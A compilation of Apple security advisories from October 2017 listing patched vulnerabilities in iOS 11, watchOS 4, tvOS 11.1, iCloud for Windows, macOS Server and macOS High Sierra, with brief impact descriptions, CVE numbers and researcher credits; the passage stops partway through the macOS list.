APPLE-SA-2017-10-31-9 Additional information for APPLE-SA-2017-09-19-1 iOS 11
APPLE-SA-2017-10-31-9
Additional information for APPLE-SA-2017-09-19-1 iOS 11
iOS 11 addresses the following:
802.1X
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An attacker may be able to exploit weaknesses in TLS 1.0
Description: A protocol security issue was addressed by enabling TLS
1.1 and TLS 1.2.
CVE-2017-13832: an anonymous researcher
Entry added October 31, 2017
Bluetooth
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to access restricted files
Description: A privacy issue existed in the handling of Contact
cards. This was addressed with improved state management.
CVE-2017-7131: Dominik Conrads of Federal Office for Information
Security, an anonymous researcher, Elvis (@elvisimprsntr), an
anonymous researcher
CFNetwork Proxies
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An attacker in a privileged network position may be able to
cause a denial of service
Description: Multiple denial of service issues were addressed through
improved memory handling.
CVE-2017-7083: Abhinav Bansal of Zscaler Inc.
CFString
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13821: Australian Cyber Security Centre – Australian Signals
Directorate
Entry added October 31, 2017
CoreAudio
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to read restricted memory
Description: An out-of-bounds read was addressed by updating to Opus
version 1.1.4.
CVE-2017-0381: V.E.O (@VYSEa) of Mobile Threat Research Team, Trend
Micro
CoreText
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted font file may lead to
arbitrary code execution
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-13825: Australian Cyber Security Centre – Australian Signals
Directorate
Entry added October 31, 2017
Exchange ActiveSync
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An attacker in a privileged network position may be able to
erase a device during Exchange account setup
Description: A validation issue existed in AutoDiscover V1. This was
addressed by requiring TLS for AutoDiscover V1. AutoDiscover V2 is
now supported.
CVE-2017-7088: Ilya Nesterov, Maxim Goncharov
file
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Multiple issues in file
Description: Multiple issues were addressed by updating to version
5.31.
CVE-2017-13815
Entry added October 31, 2017
Fonts
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Rendering untrusted text may lead to spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2017-13828: an anonymous researcher
Entry added October 31, 2017
Heimdal
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An attacker in a privileged network position may be able
to impersonate a service
Description: A validation issue existed in the handling of
the KDC-REP service name. This issue was addressed through improved
validation.
CVE-2017-11103: Jeffrey Altman, Viktor Duchovni, and Nico Williams
HFS
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13830: Sergej Schumilo of Ruhr-University Bochum
Entry added October 31, 2017
iBooks
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Parsing a maliciously crafted iBooks file may lead to a
persistent denial-of-service
Description: Multiple denial of service issues were addressed through
improved memory handling.
CVE-2017-7072: Jędrzej Krysztofiak
ImageIO
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted image may lead to arbitrary
code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2017-13814: Australian Cyber Security Centre – Australian Signals
Directorate
Entry added October 31, 2017
ImageIO
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted image may lead to a denial
of service
Description: An information disclosure issue existed in the
processing of disk images. This issue was addressed through improved
memory management.
CVE-2017-13831: an anonymous researcher
Entry added October 31, 2017
Kernel
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7114: Alex Plaskett of MWR InfoSecurity
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A local user may be able to read kernel memory
Description: An out-of-bounds read issue existed that led to the
disclosure of kernel memory. This was addressed through improved
input validation.
CVE-2017-13817: Maxime Villard (m00nbsd)
Entry added October 31, 2017
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13818: The UK's National Cyber Security Centre (NCSC)
CVE-2017-13836: an anonymous researcher, an anonymous researcher
CVE-2017-13841: an anonymous researcher
CVE-2017-13840: an anonymous researcher
CVE-2017-13842: an anonymous researcher
CVE-2017-13782: Kevin Backhouse of Semmle Ltd.
Entry added October 31, 2017
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13843: an anonymous researcher
Entry added October 31, 2017
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a malformed mach binary may lead to arbitrary code
execution
Description: A memory corruption issue was addressed through improved
validation.
CVE-2017-13834: Maxime Villard (m00nbsd)
Entry added October 31, 2017
Keyboard Suggestions
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Keyboard autocorrect suggestions may reveal sensitive
information
Description: The iOS keyboard was inadvertently caching sensitive
information. This issue was addressed with improved heuristics.
CVE-2017-7140: an anonymous researcher
libarchive
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
Description: A buffer overflow issue was addressed through improved
memory handling.
CVE-2017-13813: found by OSS-Fuzz
CVE-2017-13816: found by OSS-Fuzz
Entry added October 31, 2017
libarchive
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
Description: Multiple memory corruption issues existed in libarchive.
These issues were addressed through improved input validation.
CVE-2017-13812: found by OSS-Fuzz
Entry added October 31, 2017
libc
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A remote attacker may be able to cause a denial-of-service
Description: A resource exhaustion issue in glob() was addressed
through an improved algorithm.
CVE-2017-7086: Russ Cox of Google
libc
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to cause a denial of service
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-1000373
libexpat
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Multiple issues in expat
Description: Multiple issues were addressed by updating to version
2.2.1
CVE-2016-9063
CVE-2017-9233
Location Framework
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to read sensitive location
information
Description: A permissions issue existed in the handling of the
location variable. This was addressed with additional ownership
checks.
CVE-2017-7148: an anonymous researcher, an anonymous researcher
Mail Drafts
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An attacker with a privileged network position may be able to
intercept mail contents
Description: An encryption issue existed in the handling of mail
drafts. This issue was addressed with improved handling of mail
drafts meant to be sent encrypted.
CVE-2017-7078: an anonymous researcher, an anonymous researcher, an
anonymous researcher
Mail MessageUI
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing a maliciously crafted image may lead to a denial
of service
Description: A memory corruption issue was addressed with improved
validation.
CVE-2017-7097: Xinshu Dong and Jun Hao Tan of Anquan Capital
Messages
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing a maliciously crafted image may lead to a denial
of service
Description: A denial of service issue was addressed through improved
validation.
CVE-2017-7118: Kiki Jiang and Jason Tokoph
MobileBackup
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Backup may perform an unencrypted backup despite a
requirement to perform only encrypted backups
Description: A permissions issue existed. This issue was addressed
with improved permission validation.
CVE-2017-7133: Don Sparks of HackediOS.com
Phone
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A screenshot of secure content may be taken when locking an
iOS device
Description: A timing issue existed in the handling of locking. This
issue was addressed by disabling screenshots while locking.
CVE-2017-7139: an anonymous researcher
Quick Look
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13822: Australian Cyber Security Centre – Australian Signals
Directorate
Entry added October 31, 2017
Quick Look
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Parsing a maliciously crafted office document may lead to an
unexpected application termination or arbitrary code execution
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-7132: Australian Cyber Security Centre – Australian Signals
Directorate
Entry added October 31, 2017
Safari
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Visiting a malicious website may lead to address bar spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2017-7085: xisigr of Tencent's Xuanwu Lab (tencent.com)
Security
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A revoked certificate may be trusted
Description: A certificate validation issue existed in the handling
of revocation data. This issue was addressed through improved
validation.
CVE-2017-7080: an anonymous researcher, an anonymous researcher,
Sven Driemecker of adesso mobile solutions gmbh,
Rune Darrud (@theflyingcorpse) of Bærum kommune
Security
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A malicious app may be able to track users between installs
Description: A permission checking issue existed in the handling of
an app's Keychain data. This issue was addressed with improved
permission checking.
CVE-2017-7146: an anonymous researcher
SQLite
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Multiple issues in SQLite
Description: Multiple issues were addressed by updating to
version 3.19.3.
CVE-2017-10989: found by OSS-Fuzz
CVE-2017-7128: found by OSS-Fuzz
CVE-2017-7129: found by OSS-Fuzz
CVE-2017-7130: found by OSS-Fuzz
SQLite
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7127: an anonymous researcher
Time
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: "Setting Time Zone" may incorrectly indicate that it is using
location
Description: A permissions issue existed in the process that handles
time zone information. The issue was resolved by modifying
permissions.
CVE-2017-7145: an anonymous researcher
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2017-7081: Apple
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2017-7087: Apple
CVE-2017-7091: Wei Yuan of Baidu Security Lab working with Trend
Micro's Zero Day Initiative
CVE-2017-7092: Samuel Gro and Niklas Baumstark working with Trend
Micro's Zero Day Initiative, Qixun Zhao (@S0rryMybad) of Qihoo 360
Vulcan Team
CVE-2017-7093: Samuel Gro and Niklas Baumstark working with Trend
Micro's Zero Day Initiative
CVE-2017-7094: Tim Michaud (@TimGMichaud) of Leviathan Security Group
CVE-2017-7095: Wang Junjie, Wei Lei, and Liu Yang of Nanyang
Technological University working with Trend Micro's Zero Day
Initiative
CVE-2017-7096: Wei Yuan of Baidu Security Lab
CVE-2017-7098: Felipe Freitas of Instituto Tecnológico de Aeronáutica
CVE-2017-7099: Apple
CVE-2017-7100: Masato Kinugawa and Mario Heiderich of Cure53
CVE-2017-7102: Wang Junjie, Wei Lei, and Liu Yang of Nanyang
Technological University
CVE-2017-7104: likemeng of Baidu Secutity Lab
CVE-2017-7107: Wang Junjie, Wei Lei, and Liu Yang of Nanyang
Technological University
CVE-2017-7111: likemeng of Baidu Security Lab (xlab.baidu.com)
working with Trend Micro's Zero Day Initiative
CVE-2017-7117: lokihardt of Google Project Zero
CVE-2017-7120: chenqin (陈钦) of Ant-financial Light-Year Security
Lab
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing maliciously crafted web content may lead to
universal cross site scripting
Description: A logic issue existed in the handling of the parent-tab.
This issue was addressed with improved state management.
CVE-2017-7089: Anton Lopanitsyn of ONSEC, Frans Rosén of Detectify
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Cookies belonging to one origin may be sent to another origin
Description: A permissions issue existed in the handling of web
browser cookies. This issue was addressed by no longer returning
cookies for custom URL schemes.
CVE-2017-7090: Apple
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Visiting a malicious website may lead to address bar spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2017-7106: Oliver Paukstadt of Thinking Objects GmbH (to.com)
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing maliciously crafted web content may lead to a
cross site scripting attack
Description: Application Cache policy may be unexpectedly applied.
CVE-2017-7109: avlidienbrunn
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A malicious website may be able to track users in Safari
private browsing mode
Description: A permissions issue existed in the handling of web
browser cookies. This issue was addressed with improved restrictions.
CVE-2017-7144: an anonymous researcher
Wi-Fi
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An attacker within range may be able to execute arbitrary
code on the Wi-Fi chip
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-11120: Gal Beniamini of Google Project Zero
CVE-2017-11121: Gal Beniamini of Google Project Zero
Wi-Fi
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Malicious code executing on the Wi-Fi chip may be able to
execute arbitrary code with kernel privileges on the application
processor
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7103: Gal Beniamini of Google Project Zero
CVE-2017-7105: Gal Beniamini of Google Project Zero
CVE-2017-7108: Gal Beniamini of Google Project Zero
CVE-2017-7110: Gal Beniamini of Google Project Zero
CVE-2017-7112: Gal Beniamini of Google Project Zero
Wi-Fi
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Malicious code executing on the Wi-Fi chip may be able to
execute arbitrary code with kernel privileges on the application
processor
Description: Multiple race conditions were addressed through improved
validation.
CVE-2017-7115: Gal Beniamini of Google Project Zero
Wi-Fi
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Malicious code executing on the Wi-Fi chip may be able to
read restricted kernel memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-7116: Gal Beniamini of Google Project Zero
zlib
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Multiple issues in zlib
Description: Multiple issues were addressed by updating to version
1.2.11.
CVE-2016-9840
CVE-2016-9841
CVE-2016-9842
CVE-2016-9843
Installation note:
This update is available through iTunes and Software Update on your
iOS device, and will not appear in your computer's Software Update
application, or in the Apple Downloads site. Make sure you have an
Internet connection and have installed the latest version of iTunes
from https://www.apple.com/itunes/
iTunes and Software Update on the device will automatically check
Apple's update server on its weekly schedule. When an update is
detected, it is downloaded and the option to be installed is
presented to the user when the iOS device is docked. We recommend
applying the update immediately if possible. Selecting Don't Install
will present the option the next time you connect your iOS device.
The automatic update process may take up to a week depending on the
day that iTunes or the device checks for updates. You may manually
obtain the update via the Check for Updates button within iTunes, or
the Software Update on your device.
To check that the iPhone, iPod touch, or iPad has been updated:
* Navigate to Settings
* Select General
* Select About. The version after applying this update
will be "11".
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
APPLE-SA-2017-10-31-7 iCloud for Windows 7.1
APPLE-SA-2017-10-31-7 iCloud for Windows 7.1
iCloud for Windows 7.1 is now available and addresses the following:
WebKit
Available for: Windows 7 and later
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2017-13785: Ivan Fratric of Google Project Zero
CVE-2017-13784: Ivan Fratric of Google Project Zero
CVE-2017-13783: Ivan Fratric of Google Project Zero
CVE-2017-13788: xisigr of Tencent's Xuanwu Lab (tencent.com)
CVE-2017-13798: Ivan Fratric of Google Project Zero
CVE-2017-13795: Ivan Fratric of Google Project Zero
CVE-2017-13802: Ivan Fratric of Google Project Zero
CVE-2017-13792: Ivan Fratric of Google Project Zero
CVE-2017-13794: Ivan Fratric of Google Project Zero
CVE-2017-13791: Ivan Fratric of Google Project Zero
CVE-2017-13796: Ivan Fratric of Google Project Zero
CVE-2017-13793: Hanul Choi working with Trend Micro's Zero Day
Initiative
CVE-2017-13803: chenqin (陈钦) of Ant-financial Light-Year Security
Installation note:
iCloud for Windows 7.1 may be obtained from:
https://support.apple.com/HT204283
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
APPLE-SA-2017-10-31-10 Additional information for APPLE-SA-2017-09-20-2 watchOS 4
APPLE-SA-2017-10-31-10
Additional information for APPLE-SA-2017-09-20-2 watchOS 4
watchOS 4 addresses the following:
802.1X
Available for: All Apple Watch models
Impact: An attacker may be able to exploit weaknesses in TLS 1.0
Description: A protocol security issue was addressed by enabling TLS
1.1 and TLS 1.2.
CVE-2017-13832: an anonymous researcher
Entry added October 31, 2017
CFNetwork Proxies
Available for: All Apple Watch models
Impact: An attacker in a privileged network position may be able to
cause a denial of service
Description: Multiple denial of service issues were addressed through
improved memory handling.
CVE-2017-7083: Abhinav Bansal of Zscaler Inc.
CFString
Available for: All Apple Watch models
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13821: Australian Cyber Security Centre – Australian Signals
Directorate
Entry added October 31, 2017
CoreAudio
Available for: All Apple Watch models
Impact: An application may be able to read restricted memory
Description: An out-of-bounds read was addressed by updating to Opus
version 1.1.4.
CVE-2017-0381: V.E.O (@VYSEa) of Mobile Threat Research Team, Trend
Micro
CoreText
Available for: All Apple Watch models
Impact: Processing a maliciously crafted font file may lead to
arbitrary code execution
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-13825: Australian Cyber Security Centre – Australian Signals
Directorate
Entry added October 31, 2017
file
Available for: All Apple Watch models
Impact: Multiple issues in file
Description: Multiple issues were addressed by updating to version
5.31.
CVE-2017-13815
Entry added October 31, 2017
Fonts
Available for: All Apple Watch models
Impact: Rendering untrusted text may lead to spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2017-13828: an anonymous researcher
Entry added October 31, 2017
HFS
Available for: All Apple Watch models
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13830: Sergej Schumilo of Ruhr-University Bochum
Entry added October 31, 2017
ImageIO
Available for: All Apple Watch models
Impact: Processing a maliciously crafted image may lead to arbitrary
code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2017-13814: Australian Cyber Security Centre – Australian Signals
Directorate
Entry added October 31, 2017
ImageIO
Available for: All Apple Watch models
Impact: Processing a maliciously crafted image may lead to a denial
of service
Description: An information disclosure issue existed in the
processing of disk images. This issue was addressed through improved
memory management.
CVE-2017-13831: an anonymous researcher
Entry added October 31, 2017
Kernel
Available for: All Apple Watch models
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7114: Alex Plaskett of MWR InfoSecurity
Kernel
Available for: All Apple Watch models
Impact: A local user may be able to read kernel memory
Description: An out-of-bounds read issue existed that led to the
disclosure of kernel memory. This was addressed through improved
input validation.
CVE-2017-13817: Maxime Villard (m00nbsd)
Entry added October 31, 2017
Kernel
Available for: All Apple Watch models
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13818: The UK's National Cyber Security Centre (NCSC)
CVE-2017-13836: an anonymous researcher, an anonymous researcher
CVE-2017-13841: an anonymous researcher
CVE-2017-13840: an anonymous researcher
CVE-2017-13842: an anonymous researcher
CVE-2017-13782: Kevin Backhouse of Semmle Ltd.
Entry added October 31, 2017
Kernel
Available for: All Apple Watch models
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13843: an anonymous researcher
Entry added October 31, 2017
Kernel
Available for: All Apple Watch models
Impact: Processing a malformed mach binary may lead to arbitrary code
execution
Description: A memory corruption issue was addressed through improved
validation.
CVE-2017-13834: Maxime Villard (m00nbsd)
Entry added October 31, 2017
libarchive
Available for: All Apple Watch models
Impact: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
Description: A buffer overflow issue was addressed through improved
memory handling.
CVE-2017-13813: found by OSS-Fuzz
CVE-2017-13816: found by OSS-Fuzz
Entry added October 31, 2017
libarchive
Available for: All Apple Watch models
Impact: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
Description: Multiple memory corruption issues existed in libarchive.
These issues were addressed through improved input validation.
CVE-2017-13812: found by OSS-Fuzz
Entry added October 31, 2017
libc
Available for: All Apple Watch models
Impact: A remote attacker may be able to cause a denial-of-service
Description: A resource exhaustion issue in glob() was addressed
through an improved algorithm.
CVE-2017-7086: Russ Cox of Google
libc
Available for: All Apple Watch models
Impact: An application may be able to cause a denial of service
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-1000373
libexpat
Available for: All Apple Watch models
Impact: Multiple issues in expat
Description: Multiple issues were addressed by updating to version
2.2.1
CVE-2016-9063
CVE-2017-9233
Security
Available for: All Apple Watch models
Impact: A revoked certificate may be trusted
Description: A certificate validation issue existed in the handling
of revocation data. This issue was addressed through improved
validation.
CVE-2017-7080: an anonymous researcher, Sven Driemecker of adesso
mobile solutions gmbh, an anonymous researcher, Rune Darrud
(@theflyingcorpse) of Bærum kommune
SQLite
Available for: All Apple Watch models
Impact: Multiple issues in SQLite
Description: Multiple issues were addressed by updating to version
3.19.3.
CVE-2017-10989: found by OSS-Fuzz
CVE-2017-7128: found by OSS-Fuzz
CVE-2017-7129: found by OSS-Fuzz
CVE-2017-7130: found by OSS-Fuzz
SQLite
Available for: All Apple Watch models
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7127: an anonymous researcher
Wi-Fi
Available for: All Apple Watch models
Impact: Malicious code executing on the Wi-Fi chip may be able to
execute arbitrary code with kernel privileges on the application
processor
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7103: Gal Beniamini of Google Project Zero
CVE-2017-7105: Gal Beniamini of Google Project Zero
CVE-2017-7108: Gal Beniamini of Google Project Zero
CVE-2017-7110: Gal Beniamini of Google Project Zero
CVE-2017-7112: Gal Beniamini of Google Project Zero
Wi-Fi
Available for: All Apple Watch models
Impact: Malicious code executing on the Wi-Fi chip may be able to
read restricted kernel memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-7116: Gal Beniamini of Google Project Zero
zlib
Available for: All Apple Watch models
Impact: Multiple issues in zlib
Description: Multiple issues were addressed by updating to version
1.2.11.
CVE-2016-9840
CVE-2016-9841
CVE-2016-9842
CVE-2016-9843
Installation note:
Instructions on how to update your Apple Watch software are
available at https://support.apple.com/kb/HT204641
To check the version on your Apple Watch, open the Apple Watch app
on your iPhone and select "My Watch > General > About".
Alternatively, on your watch, select "My Watch > General > About".
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
APPLE-SA-2017-10-31-3 tvOS 11.1
APPLE-SA-2017-10-31-3 tvOS 11.1
tvOS 11.1 is now available and addresses the following:
CoreText
Available for: Apple TV 4K and Apple TV (4th generation)
Impact: Processing a maliciously crafted text file may lead to an
unexpected application termination
Description: A denial of service issue was addressed through improved
memory handling.
CVE-2017-13849: Ro of SavSec
Kernel
Available for: Apple TV 4K and Apple TV (4th generation)
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13799: an anonymous researcher
StreamingZip
Available for: Apple TV 4K and Apple TV (4th generation)
Impact: A malicious zip file may be able modify restricted areas of
the file system
Description: A path handling issue was addressed with improved
validation.
CVE-2017-13804: @qwertyoruiopz at KJC Research Intl. S.R.L.
WebKit
Available for: Apple TV 4K and Apple TV (4th generation)
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2017-13785: Ivan Fratric of Google Project Zero
CVE-2017-13784: Ivan Fratric of Google Project Zero
CVE-2017-13783: Ivan Fratric of Google Project Zero
CVE-2017-13788: xisigr of Tencent's Xuanwu Lab (tencent.com)
CVE-2017-13798: Ivan Fratric of Google Project Zero
CVE-2017-13795: Ivan Fratric of Google Project Zero
CVE-2017-13802: Ivan Fratric of Google Project Zero
CVE-2017-13792: Ivan Fratric of Google Project Zero
CVE-2017-13794: Ivan Fratric of Google Project Zero
CVE-2017-13791: Ivan Fratric of Google Project Zero
CVE-2017-13796: Ivan Fratric of Google Project Zero
CVE-2017-13793: Hanul Choi working with Trend Micro's Zero Day
Initiative
CVE-2017-13803: chenqin (陈钦) of Ant-financial Light-Year Security
Wi-Fi
Available for: Apple TV 4K
Impact: An attacker in Wi-Fi range may force nonce reuse in WPA
clients (Key Reinstallation Attacks - KRACK)
Description: A logic issue existed in the handling of state
transitions. This was addressed with improved state management.
CVE-2017-13080: Mathy Vanhoef of the imec-DistriNet group at KU
Leuven
Installation note:
Apple TV will periodically check for software updates. Alternatively,
you may manually check for software updates by selecting
"Settings -> System -> Software Update -> Update Software."
To check the current version of software, select
"Settings -> General -> About."
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
APPLE-SA-2017-10-31-12 Additional information for APPLE-SA-2017-09-25-9 macOS Server 5.4
APPLE-SA-2017-10-31-12
Additional information for APPLE-SA-2017-09-25-9 macOS Server 5.4
macOS Server 5.4 addresses the following:
FreeRadius
Available for: macOS High Sierra 10.13
Impact: Multiple issues in FreeRADIUS
Description: Multiple issues existed in FreeRADIUS before 2.2.10.
These were addressed by updating FreeRADIUS to version 2.2.10.
CVE-2017-10978
CVE-2017-10979
Postfix
Available for: macOS High Sierra 10.13
Impact: Multiple issues in Postfix
Description: Multiple issues were addressed by updating to version
3.2.2.
CVE-2017-13826: an anonymous researcher
Entry added October 31, 2017
Installation note:
macOS Server 5.4 may be obtained from the Mac App Store.
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
APPLE-SA-2017-10-31-2 macOS High Sierra 10.13.1, Security Update 2017-001 Sierra, Security Update 2017-004 El Capitan
APPLE-SA-2017-10-31-2 macOS High Sierra 10.13.1,
Security Update 2017-001 Sierra, Security Update 2017-004 El Capitan
macOS High Sierra 10.13.1, Security Update 2017-001 Sierra, Security
Update 2017-004 El Capitan are now available and address the
following:
802.1X
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An attacker may be able to exploit weaknesses in TLS 1.0
Description: A protocol security issue was addressed by enabling TLS
1.1 and TLS 1.2.
CVE-2017-13832: an anonymous researcher
apache
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: Multiple issues in Apache
Description: Multiple issues were addressed by updating to version
2.4.27.
CVE-2016-736
CVE-2016-2161
CVE-2016-5387
CVE-2016-8740
CVE-2016-8743
CVE-2017-3167
CVE-2017-3169
CVE-2017-7659
CVE-2017-7668
CVE-2017-7679
CVE-2017-9788
CVE-2017-9789
APFS
Available for: macOS High Sierra 10.13
Impact: A malicious Thunderbolt adapter may be able to recover
unencrypted APFS filesystem data
Description: An issue existed in the handling of DMA. This issue was
addressed by limiting the time the FileVault decryption buffers are
DMA mapped to the duration of the I/O operation.
CVE-2017-13786: an anonymous researcher
APFS
Available for: macOS High Sierra 10.13
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13800: Sergej Schumilo of Ruhr-University Bochum
AppleScript
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: Decompiling an AppleScript with osadecompile may lead to
arbitrary code execution
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13809: an anonymous researcher
ATS
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: Processing a maliciously crafted font may result in the
disclosure of process memory
Description: A memory corruption issue was addressed with improved
input validation.
CVE-2017-13820: John Villamil, Doyensec
Audio
Available for: macOS Sierra 10.12.6
Impact: Parsing a maliciously crafted QuickTime file may lead to an
unexpected application termination or arbitrary code execution
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-13807: Yangkang (@dnpushme) of Qihoo 360 Qex Team
CFString
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13821: Australian Cyber Security Centre – Australian Signals
Directorate
CoreText
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: Processing a maliciously crafted font file may lead to
arbitrary code execution
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-13825: Australian Cyber Security Centre – Australian Signals
Directorate
curl
Available for: macOS High Sierra 10.13, macOS Sierra 10.12.6, OS X El
Capitan 10.11.6
Impact: Uploading using TFTP to a maliciously crafted URL with
libcurl may disclose application memory
Description: An out-of-bounds read was addressed with improved bounds
checking.
